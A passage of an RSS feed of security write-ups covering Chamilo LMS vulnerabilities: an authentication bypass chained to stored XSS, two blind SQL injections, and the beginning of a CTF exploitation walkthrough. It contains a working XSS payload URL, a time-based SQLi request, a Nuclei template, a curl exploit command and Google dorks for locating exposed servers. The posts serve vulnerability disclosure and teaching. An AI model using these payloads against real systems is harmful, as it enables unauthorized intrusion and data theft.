href="https://infosecwriteups.com/dll-hijacking-in-totolink-a600ub-driver-installer-13787c4d97b4">DLL hijacking in TOTOLINK A600UB Driver Installer | CVE-2024–51141</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chamilo LMS — Authentication Bypass and Cross-Site Scripting Stored]]></title>
            <link>https://infosecwriteups.com/chamilo-lms-authentication-bypass-and-cross-site-scripting-stored-3fcb874ac7c1?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fcb874ac7c1</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[reversing]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Sun, 27 Oct 2024 23:07:21 GMT</pubDate>
            <atom:updated>2024-11-13T12:13:49.865Z</atom:updated>
            <content:encoded><![CDATA[<h3>Chamilo LMS — Unauthenticated data injection (AJAX in LP) | CVE-2024–51142</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pn46-nups82OVTRUN2iNeQ.png" /></figure><h3>Vulnerabilities in Chamilo LMS</h3><p>The Chamilo LMS platform, widely used in educational environments, has been identified with an authentication bypass vulnerability that allows attackers to circumvent access control mechanisms. This vulnerability facilitates the exploitation of a second Cross-Site Scripting (XSS) vulnerability, which can have serious implications for its users. The XSS vulnerability affects Chamilo LMS versions &lt;= 1.11.26, which is the latest available version, and enables attackers to store malicious scripts that execute in other users’ browsers, thus compromising the security and integrity of information on the platform.</p><h3>Security Issues</h3><p>Chamilo 1.11.28 is a security fix release on top of 1.11.26. See security issues at <a href="https://github.com/chamilo/chamilo-lms/wiki/security-issues#issue-175---2024-09-11---moderate-impact-moderate-risk---unauthenticated-data-injection-ajax-in-lp">https://github.com/chamilo/chamilo-lms/wiki/security-issues#issue-175---2024-09-11---moderate-impact-moderate-risk---unauthenticated-data-injection-ajax-in-lp</a></p><h3>Chamilo Exposure in Advanced and Common Search Engines</h3><p>The search for the Chamilo framework using online service detection engines such as <strong>ZoomEye</strong>, <strong>Shodan</strong>, and <strong>Censys</strong>, as well as common search engines like <strong>Google</strong>,<strong> Bing </strong>and <strong>Yahoo</strong>, has revealed a significant exposure of publicly accessible servers. These results highlight a broad potential attack surface and a considerable number of possible attack vectors, underscoring the need to implement stronger security measures to protect Chamilo implementations and mitigate the risks associated with this online exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YAyfHIRrzNn-hKMTA6geA.png" /><figcaption>Advanced Search Engines</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ai-G8p5s6SHaXZpyZ1vf6w.png" /><figcaption>Common Search Engines</figcaption></figure><blockquote>It’s time for a ‘hacker coffee’ and let’s get to work!</blockquote><h3>Analysis Methodology</h3><h4>Execution of StaticCodex for PHP File Analysis</h4><p>We use <strong>StaticCodex </strong>(SAST), a proprietary tool developed in-house, designed to quickly identify vulnerable endpoints in various languages such as PHP, ASP, JSP, among others. This tool analyzes the static code for specific patterns associated with vulnerabilities such as SQL injections, XSS, RCE, and Command Injection, among others, which could represent attack vectors. In this case, the tool is executed specifically on the <strong>.php</strong> files of the project, focusing on the detection of critical paths that contain SQL queries.</p><h4>Extraction of Unique SQL Paths</h4><p>Once <strong>StaticCodex</strong> generates the <strong>output_sql.txt</strong> file with the paths where the <strong>$SQL</strong> queries are found, the results are processed to retain only the unique paths and avoid redundant analysis:</p><pre>cat output_sql.txt | cut -d &quot;:&quot; -f1 | sort -u |tee -a output_sql_uniq.txt</pre><h4><strong>Validation of Directory and File Existence on the Server</strong></h4><p>Next, we proceed to validate whether the extracted paths correspond to directories and files that actually exist on the target server by sending HTTP requests to log their respective response codes. Subsequently, we exclude any paths that return a status code of 404 (not found), ensuring that only the paths that actually exist on the server are retained.</p><p>As a result, we obtain status codes 500 and 200.</p><pre>for i in $(cat output_sql_uniq.txt); do sta=$(curl -o /dev/null -s -w &quot;%{http_code}&quot; &quot;https://example.com/$i&quot;); [ &quot;$sta&quot; != &quot;404&quot; ] &amp;&amp; echo &quot;$sta - $i&quot; | tee -a output_sql_status.txt; done</pre><h4>Analysis of Files with Status 200</h4><p>With the valid files identified, we proceed to focus on those that have returned a status 200 (exist and are accessible). These will be the candidates for in-depth analysis in search of vulnerabilities.</p><pre>cat output_sql_status.txt | grep -v &quot;500 - &quot; | cut -d &quot; &quot; -f3 | cut -d &quot;.&quot; -f2-10</pre><h4>Access Validation Using Burp Suite</h4><p>Using <strong>Burp Suite</strong> (Intruder), we load the extracted paths to validate which of them require authentication or authorization to access. Those files that prevent access due to lack of permissions are excluded from the analysis, optimizing the review time and focusing on the most vulnerable ones.</p><p>We configure the path in Intruder to be automatically replaced by the list obtained in <strong>output_sql_status.txt</strong>, which contains the paths with a status code of 200.</p><pre>GET §§ HTTP/1.1<br>Host: aulavirtual.friend.com<br>Accept-Encoding: gzip, deflate, br<br>Accept: */*<br>Accept-Language: en-US;q=0.9,en;q=0.8<br>User-Agent: Mozilla/5.0<br>Connection: close<br>Cache-Control: max-age=0</pre><p>We add the list of directories and files in the payloads option, which includes a total of 320 payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwIdMUblGIuBN6DZBQm39Q.png" /><figcaption>urls wordlist</figcaption></figure><p>Finally, we add a column using a regular expression to search for the string “<strong>sufficient privileges</strong>” which allows us to identify which of the paths can be accessed without the need to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7bPQMX3TB0Qynv0DHa9FcQ.png" /><figcaption>intruder result</figcaption></figure><p>Finally, once we have obtained the valid and accessible paths, we begin the detailed analysis of vulnerabilities, which involves a thorough review of the attack points in the selected PHP files. Applying the aforementioned methodology, we have identified critical vulnerabilities in the files <strong>storageapi.php</strong> and <strong>api.lib.php</strong>, located in <strong>main/lp/</strong> and <strong>main/inc/lib/</strong>, respectively. The <strong>storageapi.php</strong> file plays a fundamental role in sanitizing user inputs in <strong>$_REQUEST</strong>, which is key to preventing SQL injections and ensuring the correct typing of data. During our analysis, we focused on identifying flaws that could compromise the integrity of the processed data. Below, we highlight the most relevant lines of code from the <strong>storageapi.php</strong> file.</p><h4>String Escaping</h4><pre>foreach ([&quot;svkey&quot;, &quot;svvalue&quot;] as $key) {<br>    $_REQUEST[$key] = Database::escape_string($_REQUEST[$key]);<br>}</pre><p>The function <strong>Database::escape_string()</strong> is used to escape special characters in strings, ensuring that the input data does not alter the structure of the SQL queries when inserted into a statement.</p><h4>Conversion to Integers</h4><pre>foreach ([&quot;svuser&quot;, &quot;svcourse&quot;, &quot;svsco&quot;, &quot;svlength&quot;, &quot;svasc&quot;] as $key) {<br>    $_REQUEST[$key] = intval($_REQUEST[$key]);<br>}</pre><ul><li>This conversion ensures that the values are treated as integers, converting any non-numeric value to 0.</li><li>Type Validation: Ensures that the variables expected to be numbers are indeed numeric, preventing errors in mathematical or logical operations.</li></ul><h3>Control Structure (Switch)</h3><p>The following code snippet uses a switch control structure to handle different actions requested by the user through <strong>$_REQUEST</strong>. Depending on the value of the action variable, different functions are executed.</p><pre>switch ($_REQUEST[&#39;action&#39;]) {<br>    case &quot;set&quot;:<br>        if (storage_can_set($_REQUEST[&#39;svuser&#39;])) {<br>            echo storage_set($_REQUEST[&#39;svuser&#39;], $_REQUEST[&#39;svcourse&#39;], $_REQUEST[&#39;svsco&#39;], $_REQUEST[&#39;svkey&#39;], $_REQUEST[&#39;svvalue&#39;]);<br>        }<br>        break;<br>    case &quot;getall&quot;:<br>        print storage_getall($_REQUEST[&#39;svuser&#39;], $_REQUEST[&#39;svcourse&#39;], $_REQUEST[&#39;svsco&#39;]);<br>        break;<br>    .<br>    . //More code here<br>    .<br>    case &quot;usersgetall&quot;:<br>        print &quot;NOT allowed, security issue, see sources&quot;;<br>        break;<br>    default:<br>}</pre><ul><li>Function storage_can_set(): Checks if the user has permissions to modify the data, which is essential to ensure that only authorized users can make changes.</li><li>Function storage_set(): Performs data storage in the database after verifying permissions.</li><li>Function storage_getall(): Retrieves all stored values for a specific user.</li></ul><h3>First Vulnerability — Authentication Bypass</h3><p>Before analyzing the JavaScript injection vulnerability (XSS), it is essential to understand how to bypass the authentication process. The function storage_can_set() is designed to determine whether a user can modify data based on whether they are an administrator or if they are modifying their own data.</p><ul><li>Function api_is_platform_admin(): Checks if the user is a platform administrator, in which case they can modify the values of any user.</li><li>Function api_get_user_id(): Verifies if the current user is the same as the one attempting to make the change, allowing modification if they are the same.</li></ul><pre>function storage_can_set($sv_user)<br>{<br>    $allowed = ((api_is_platform_admin()) || ($sv_user == api_get_user_id()));<br>    if (!$allowed) {<br>        echo &quot;ERROR : Not allowed&quot;;<br>    }<br><br>    return $allowed;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rqrHiGPu9-o-iV34XofZ_A.png" /></figure><h3>Evasion Analysis</h3><p>Since we are neither administrators nor authenticated, the analysis of the <strong>api_get_user_id()</strong> function is key. This function attempts to read the user’s session information:</p><pre>function api_get_user_id()<br>{<br>    $userInfo = Session::read(&#39;_user&#39;);<br>    if ($userInfo &amp;&amp; isset($userInfo[&#39;user_id&#39;])) {<br>        return (int) $userInfo[&#39;user_id&#39;];<br>    }<br><br>    return 0;<br>}</pre><ul><li>The function attempts to retrieve the user information stored in the session using <strong>Session::read(‘_user’)</strong>. The _user variable is an array that contains the data of the authenticated user.</li><li>It checks if <strong>$userInfo</strong> is not empty and if it contains the index <strong>user_id</strong>.</li><li>If both conditions are met, the value of <strong>user_id</strong> is returned as an integer.</li><li>In case there is no user information in the session or the <strong>user_id</strong> index is missing, the function returns 0, indicating that no authenticated user exists.</li></ul><p>Confirming that the function returns the ID of the authenticated user or 0 if there is no active session, when comparing <strong>$sv_user</strong> with <strong>api_get_user_id()</strong>, the function will return 0 if the user is not authenticated, which can lead to a vulnerability. If an attacker inputs a value of 0 as <strong>$sv_user</strong>, the comparison will be true, allowing them to bypass authentication and modify data without the appropriate permissions. This logical error allows for the exploitation of a gap in user management, facilitating authentication bypass and the injection of malicious code, such as XSS scripts, into the Chamilo LMS platform.</p><h3>Second Vulnerability — Cross-site Scripting Injection</h3><p>Now that we have understood the evasion of the implemented security measures, we can proceed to analyze the insertion of malicious code into the database, which enables the exploitation of a stored XSS vulnerability. This vulnerability can be exploited through certain code snippets, where the lack of adequate filtering allows an attacker to inject malicious scripts, which are then executed when other users view the stored data.</p><p>A clear example of how this type of vulnerability manifests is found in the <strong>storage_set()</strong> function, which is responsible for storing or replacing a value (<strong>sv_key</strong>) associated with a specific user.</p><pre>function storage_set($sv_user, $sv_course, $sv_sco, $sv_key, $sv_value)<br>{<br>    $sv_value = Database::escape_string($sv_value);<br>    $sql = &quot;replace into &quot;.Database::get_main_table(TABLE_TRACK_STORED_VALUES).&quot;<br>        (user_id, sco_id, course_id, sv_key, sv_value)<br>        values<br>        (&#39;$sv_user&#39;,&#39;$sv_sco&#39;,&#39;$sv_course&#39;,&#39;$sv_key&#39;,&#39;$sv_value&#39;)&quot;;<br>    $res = Database::query($sql);<br><br>    return Database::affected_rows($res);<br>}</pre><h3>Reproducing the Vulnerability</h3><p>1) Using a web browser, we proceed to load the following specific URL, where the malicious JavaScript code will be injected.</p><pre>https://example.com/main/lp/storageapi.php?action=set&amp;svuser=0&amp;svcourse=0&amp;svcourse=0&amp;svkey=&lt;b/onpointerup=alert(document.domain)&gt;Click-XSS-Here!&lt;/b&gt;&amp;svvalue=0</pre><p>2) Next, the stored code injection must be verified by accessing the following URL, as illustrated in the provided image. This step is crucial to confirm that the vulnerability has been successfully exploited and that the malicious code persists in the target system.</p><pre>https://example.com/main/lp/storageapi.php?action=getall&amp;svuser=0&amp;svcourse=0&amp;svsco=0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EEwfCfYuaTAQephkJkX-w.png" /><figcaption>real exploit</figcaption></figure><h3>Automating Detection with Nuclei and Python</h3><p>After detailing the methodology applied during the investigation and thoroughly describing the identified vulnerability, the next step is to create a template for Nuclei that allows for easy and effective detection of the vulnerability. Additionally, an exploit has been developed in Python that not only facilitates the detection of the vulnerability but also generates the appropriate path to visualize the executed injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wahLrQigKvIbkd8c_jQ_aA.png" /><figcaption>Nuclei template</figcaption></figure><blockquote><a href="https://github.com/s1kr10s/Exploit-Scripts/blob/main/chamilo-auth-bypass-xss.yaml">https://github.com/s1kr10s/Exploit-Scripts/blob/main/chamilo-auth-bypass-xss.yaml</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0x7oTZz0wsnF1MBxi0vNQg.png" /><figcaption>Vulnerability and exploit scanning</figcaption></figure><blockquote><a href="https://github.com/s1kr10s/Exploit-Scripts/blob/main/Exploit_auth-xss.py">https://github.com/s1kr10s/Exploit-Scripts/blob/main/Exploit_auth-xss.py</a></blockquote><h3>Video Proof-of-concept</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FiBNjUafbPvM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DiBNjUafbPvM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FiBNjUafbPvM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/22b1d9c302106fb27d3d6f3e7857cfb7/href">https://medium.com/media/22b1d9c302106fb27d3d6f3e7857cfb7/href</a></iframe><h3>Vendor Security Patch: Auth Bypass and XSS</h3><p>Security: Fix logical flaw allowing unauthenticated users to send data to a specific table</p><pre>function storage_can_set($sv_user)<br>{<br>   // $allowed = ((api_is_platform_admin()) || ($sv_user == api_get_user_id())); ---&gt; Before vulnerable<br>   $allowed = ((api_is_platform_admin()) || (!empty($sv_user) &amp;&amp; $sv_user == api_get_user_id())); // Fix code <br>   if (!$allowed) {<br>      echo &quot;ERROR : Not allowed&quot;;<br>   }<br>}</pre><p>Security: Filter variables for XSS before returning in LP’s storageapi</p><pre>function storage_get($sv_user, $sv_course, $sv_sco, $sv_key)<br>{<br>    $sql = &quot;select sv_value<br>        from &quot;.Database::get_main_table(TABLE_TRACK_STORED_VALUES).&quot;<br>        where user_id= &#39;$sv_user&#39;<br>        and sco_id = &#39;$sv_sco&#39;<br>        and course_id = &#39;$sv_course&#39;<br>        and sv_key = &#39;$sv_key&#39;&quot;;<br>    $res = Database::query($sql);<br>    if (Database::num_rows($res) &gt; 0) {<br>        $row = Database::fetch_assoc($res);<br>        // if (get_magic_quotes_gpc()) { ---&gt; Before vulnerable<br>        //    return stripslashes($row[&#39;sv_value&#39;]); ---&gt; Before vulnerable<br>        // }<br>        return Security::remove_XSS($row[&#39;sv_value&#39;]); // Fix code<br>    } else {<br>        return null;<br>    }<br>}</pre><h3>Advisory Timeline</h3><ul><li>September 11, 2024: Initial Contact with the Vendor</li><li>September 20, 2024: Vendor Confirms Vulnerabilities</li><li>September 20, 2024: Vendor Patch (Commit: <a href="https://github.com/chamilo/chamilo-lms/commit/58c54f4631d461a3091cffc919a1701387f7c192">Auth Bypass</a> and <a href="https://github.com/chamilo/chamilo-lms/commit/d30adc7bcf0b42c1c02bb9991ccfbb94dc26921e">XSS</a>)</li><li>September 21, 2024: Request for CVE ID Submitted</li><li>October 21, 2024: Advisory Released by the Vendor (<a href="https://github.com/chamilo/chamilo-lms/releases/latest">v1.11.28</a>)</li><li>November 13, 2024: CVE-2024–51142 Assigned</li></ul><h3>Some Google Dork</h3><blockquote>inurl:“/main/auth/lostPassword.php” site:*</blockquote><blockquote>inurl:“index.php?language=spanish” site:*</blockquote><blockquote>intext:“Powered by Chamilo” site:*</blockquote><blockquote>inurl:”main/auth/inscription.php” site:*</blockquote><blockquote>inurl:”main/auth/inscription.php” site:*</blockquote><p>Bye, see you soon…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fcb874ac7c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/chamilo-lms-authentication-bypass-and-cross-site-scripting-stored-3fcb874ac7c1">Chamilo LMS — Authentication Bypass and Cross-Site Scripting Stored</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chamilo LMS 1.11.14: Analysis of Two Blind SQL Injection Vulnerabilities]]></title>
            <link>https://infosecwriteups.com/chamilo-lms-1-11-14-analysis-of-two-blind-sql-injection-vulnerabilities-c04643fe637d?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/c04643fe637d</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[code-analysis]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Wed, 28 Aug 2024 14:41:41 GMT</pubDate>
            <atom:updated>2024-09-16T22:26:21.466Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RfjmalcRWyQSiHiUz9Xj5w.png" /></figure><h4>What is Chamilo LMS?</h4><p>Chamilo LMS is an open-source virtual learning platform, distributed under the GNU/GPLv3 license, which allows individuals, institutions, and companies to freely use it for delivering training over the internet.</p><h4>Let’s get to the point!</h4><blockquote>However, I would like to clarify that these vulnerabilities had already been discovered by other researchers; the only remaining task was to automate their exploitation.</blockquote><p>During a Red Team exercise, I encountered a system that required a thorough analysis to identify known vulnerabilities. My first step was to search for publicly available exploits, as this could save time during the exploitation phase. Fortunately, I found a YAML file indicating the presence of an SQL Injection vulnerability. However, the situation became more complex when I couldn’t find a publicly available exploit. This is a critical issue, as performing a Blind SQL Injection attack manually is neither efficient nor advisable, especially when time is a critical factor.</p><p>I opted for the fastest and most direct approach: I downloaded the CMS in question to conduct a detailed analysis of the vulnerability. The goal was to understand how the SQL query is constructed, thereby facilitating the creation of an effective payload. I began by identifying the function that handles the vulnerable parameter, called `options`, within the file `/main/inc/ajax/extra_field.ajax.php`. Subsequently, I traced the execution flow until the query is executed in `/main/inc/lib/extra_field.ajax.php`.</p><p>At this point, I observed that the parameter was not being properly sanitized, in contrast to the later fix that added the `escape_string()` function to mitigate the vulnerability. This analysis allowed me to understand the sanitization failure and proceed with creating an effective exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXb4q7KPLibPCmouHsEjVg.png" /><figcaption>Knowing the Vulenrability (White Box)</figcaption></figure><p>In summary, I started developing a Python script aimed at automating the exploitation of the Blind SQL Injection vulnerability. This code not only allows for identifying whether a URL is vulnerable but also provides functionalities to determine the number of databases and tables present, retrieve the names of databases, tables, and columns, and ultimately extract records.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVulhB-9wRIy0EVyZ113mA.png" /><figcaption>Check SQL Injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMIkcplCbtzCYrctzQmeZQ.png" /><figcaption>Getting names from databases</figcaption></figure><blockquote><a href="https://github.com/s1kr10s/Exploit-Scripts/blob/main/Chamilo-bSQLi.py">https://github.com/s1kr10s/Exploit-Scripts/blob/main/Chamilo-bSQLi.py</a></blockquote><p>As an additional finding, I encountered another Blind SQL Injection vulnerability that was surprisingly simple yet somewhat overlooked. This vulnerability manifests through an XML request, where the `$WSKey` parameter is not properly sanitized, while the `$WSUser` parameter is. This clearly opens the door to an easy and predictable exploitation.</p><pre>$WSUser = $doc-&gt;getElementsByTagName(&#39;Username&#39;)-&gt;item(0)-&gt;nodeValue;<br>$WSKey = $doc-&gt;getElementsByTagName(&#39;Password&#39;)-&gt;item(0)-&gt;nodeValue;<br><br>$s = new WSSESoapServer($doc);<br>if (!empty($WSUser) &amp;&amp; !empty($WSKey)) {<br>   if (authenticate($WSUser, $WSKey)) { // SEND VULNERABLE PARAMETER -&gt; $WSKey <br>      ...<br>   }<br>}<br><br>function authenticate($WSUser, $WSKey)<br>{<br>    $tUser = Database::get_main_table(TABLE_MAIN_USER);<br>    $tApi = Database::get_main_table(TABLE_MAIN_USER_API_KEY);<br>    $login = Database::escape_string($WSUser);<br>    $sql = &quot;SELECT u.user_id, u.status FROM $tUser u, $tApi a <br>            WHERE <br>                u.username=&#39;&quot;.$login.&quot;&#39; AND  <br>                u.user_id = a.user_id AND <br>                a.api_service = &#39;dokeos&#39; AND <br>                a.api_key=&#39;&quot;.$WSKey.&quot;&#39;&quot;; // SQL INJECTION HERE<br>    $result = Database::query($sql);<br><br>    ...<br>}</pre><p>Here is an example of a simple request that validates the existence of time-based SQL injection:</p><pre>POST /plugin/sepe/ws/service.php HTTP/1.1<br>Host: hostname<br>User-Agent: Mozilla/5.0<br>Cache-Control: max-age=0<br>Content-Type: text/xml<br><br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>  &lt;root&gt;<br>    &lt;Username&gt;admin&lt;/Username&gt;<br>    &lt;Password&gt;admin&#39; UNION ALL SELECT 1,sleep(10) -- &lt;/Password&gt;<br>  &lt;/root&gt;</pre><p>For this vulnerability, there was no existing Nuclei template to identify it quickly. In light of this situation, I decided to create a custom template, which I share below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WEdz8rMKY7WH4Y0iEqm1ww.png" /></figure><pre>id: chamilo-sqli-webservices<br><br>info:<br>  name: Chamilo 1.11.14 - SQL Injection<br>  author: s1kr10s<br>  severity: critical<br>  description: Chamilo 1.1.14 contains a SQL injection vulnerability. There is a plugin with its own web service, which has the authentication vulnerable to SQL injection in the password parameter.<br>  reference: https://infosecwriteups.com/chamilo-lms-1-11-14-analysis-of-two-blind-sql-injection-vulnerabilities-c04643fe637d<br>  classification:<br>    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H<br>    cvss-score: 10<br>    cwe-id: CWE-89<br>  metadata:<br>    max-request: 1<br>  tags: chamilo,sqli<br><br>requests:<br>  - method: GET<br>    path:<br>      - &quot;{{BaseURL}}/plugin/sepe/ws/service.php&quot;<br>    <br>    matchers-condition: and<br>    matchers:<br>      - type: status<br>        status:<br>          - 200<br>      - type: word<br>        words:<br>          - &quot;&lt;?xml version=&quot;  # Verify that it is an XML file<br><br>    stop-at-first-match: true<br><br>  - method: POST<br>    path:<br>      - &quot;{{BaseURL}}/plugin/sepe/ws/service.php&quot;<br><br>    headers:<br>      Content-Type: text/xml<br><br>    body: |<br>      &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>      &lt;root&gt;<br>        &lt;Username&gt;admin&lt;/Username&gt;<br>        &lt;Password&gt;admin&#39; UNION ALL SELECT &#39;1&#39;,&#39;4&lt;/Password&gt;<br>      &lt;/root&gt;<br><br>    matchers:<br>      - type: status<br>        status:<br>          - 500<br>      - type: word<br>        words:<br>          - &quot;error&quot;  # Or any other word that confirms that the injection was successful<br><br>    # Add additional conditions to stop the flow if the first request fails<br>    matchers-condition: and<br><br># Using curl<br># curl -i -s -k --location --request POST &#39;http://target.com/cursos/plugin/sepe/ws/service.php&#39; \<br>#--header &#39;User-Agent: Mozilla/5.0&#39; \<br>#--header &#39;Host: target.com&#39; \<br>#--header &#39;Accept-Encoding: gzip, deflate, br&#39; \<br>#--header &#39;Cache-Control: max-age=0&#39; \<br>#--header &#39;Accept-Language: en-US;q=0.9,en;q=0.8&#39; \<br>#--header &#39;Content-Length: 164&#39; \<br>#--header &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>#--data-raw &#39;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>#      &lt;root&gt;<br>#        &lt;Username&gt;admin&lt;/Username&gt;<br>#        &lt;Password&gt;admin&#39; UNION ALL SELECT &#39;1&#39;,&#39;4&lt;/Password&gt;<br>#      &lt;/root&gt;&#39;</pre><h4>Some Google Dork</h4><blockquote>inurl:“/main/auth/lostPassword.php” site:*</blockquote><blockquote>inurl:“index.php?language=spanish” site:*</blockquote><blockquote>intext:“Powered by Chamilo” site:*</blockquote><p>Bye, see you soon…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c04643fe637d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/chamilo-lms-1-11-14-analysis-of-two-blind-sql-injection-vulnerabilities-c04643fe637d">Chamilo LMS 1.11.14: Analysis of Two Blind SQL Injection Vulnerabilities</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BFS Ekoparty 2022 Exploitation Challenges]]></title>
            <link>https://infosecwriteups.com/bfs-ekoparty-2022-exploitation-challenges-7deffce64ee4?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/7deffce64ee4</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[reversing]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Fri, 26 Jan 2024 15:56:54 GMT</pubDate>
            <atom:updated>2024-01-26T15:56:54.701Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*ulwqMJUcqGfagZ-K.jpg" /></figure><p>Hello and welcome to all readers.</p><p>As every year, I participate in the Ekoparty Conference, attempting to absorb as much knowledge as possible from the speakers and people I meet along the way. For this reason, I often miss out on fun challenges and end up solving them later.</p><p>Losing the opportunity for some kind of reward, haha. But well, the important thing is to solve it; nonetheless, experience is gained.</p><p>So, to get started with the important task of solving this year’s challenge, let’s first go through the requirements set by Blue Frost Security Labs at Ekoparty 2022.</p><h4>Requirements</h4><p>1. Only Python solutions without external libraries will be accepted.<br>2. The goal is to execute the Windows Calculator (calc.exe).<br>3. The solution should work on either Windows 10 or Windows 11.<br>4. Continuation of the process is desirable (not mandatory).</p><h4>Application download</h4><p><a href="https://static.bluefrostsecurity.de/files/lab/bfs-eko2022.zip">https://static.bluefrostsecurity.de/files/lab/bfs-eko2022.zip</a></p><h4>Protections</h4><p>The protections of a binary are applied to prevent a potential exploitation from being trivial, increasing the difficulty of exploitation.</p><p>We use the winhecksec.exe tool, which shows us that the binary has ASLR, DEP, and GS protections enabled. The GS protection may not be visible, but it can be validated through reverse engineering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/0*3m52BLCTHVhbiXAl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXbTfNmDRC3bjr1Cs0YF8g.png" /></figure><h4>Analysis</h4><p>First things first, let’s execute the binary and observe that it launches a socket service on some port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*n33jiJ6M-IAMLeDt.png" /></figure><p>We use <strong>Process Hacker </strong>and in the Network tab we filter by the name of the binary and see that the service runs in 31415. This is the easiest way to identify the port. Another serious form reversed and see the parameters of the function <strong>listen()</strong>, but so we’re going to get complicated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/0*bmot8lPXyShTMb5X.png" /></figure><p>With this we created the first structure of the script to communicate with the service. This we will use it later in the dynamic analysis, for now we will go to recognize the flow in static form.</p><pre>#!/usr/bin/python<br># Code By s1kr10s<br>import socket<br><br>server = &quot;127.0.0.1&quot;<br>port = 31415<br><br>try:<br>    junk = A&quot; * 1000<br><br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    s.connect((server, port))<br>    s.send(junk)<br>    s.recv(1024)<br>    s.close()<br><br>except Exception as e:<br>    print(e)</pre><p>Seeing the code, we first identified the function <strong>main()</strong>, where the following actions that lift the service are executed and carry out some checks of the data sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*XjWaRBAFXepN3RE-.png" /></figure><p>The most important thing here is <strong>cmp_msg_hello()</strong> who compare the bytes received with a constant call “Hello,” if so follow the right path to the <strong>send() </strong>to respond with a “Hi.” via the socket connection and be able to reach the function <strong>packet-filter()</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*boVgwetSSHUNuAam.png" /></figure><p>Now we see the routines of <strong>packet-filter() </strong>this is where the vulnerabilities are found and where you have to think.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/0*yXDksUKqa_RmpgPd.png" /></figure><p>When you enter the function, a kind of <strong>memset() </strong>on the buffer of <strong>virtualAlloc()</strong>, modifying the existing bytes by some defined by the binary (5050505050… and CF585858…) which have a purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*EBnGCqeFJaJj7byK.png" /></figure><p>The second <strong>receive() </strong>receives a kind of package header that will be used for different validations such as size, cookie and type.</p><p>1.<strong>size </strong>valid that the header is less than or equal to 11 bytes of size<br>2.<strong>cookie </strong>valid as the Eko2022 chain was sent<br>3.<strong>type </strong>it’s valid that I sent the character.<br>4.<strong>Integer Overflow </strong>is a value that belongs to the header called <strong>size 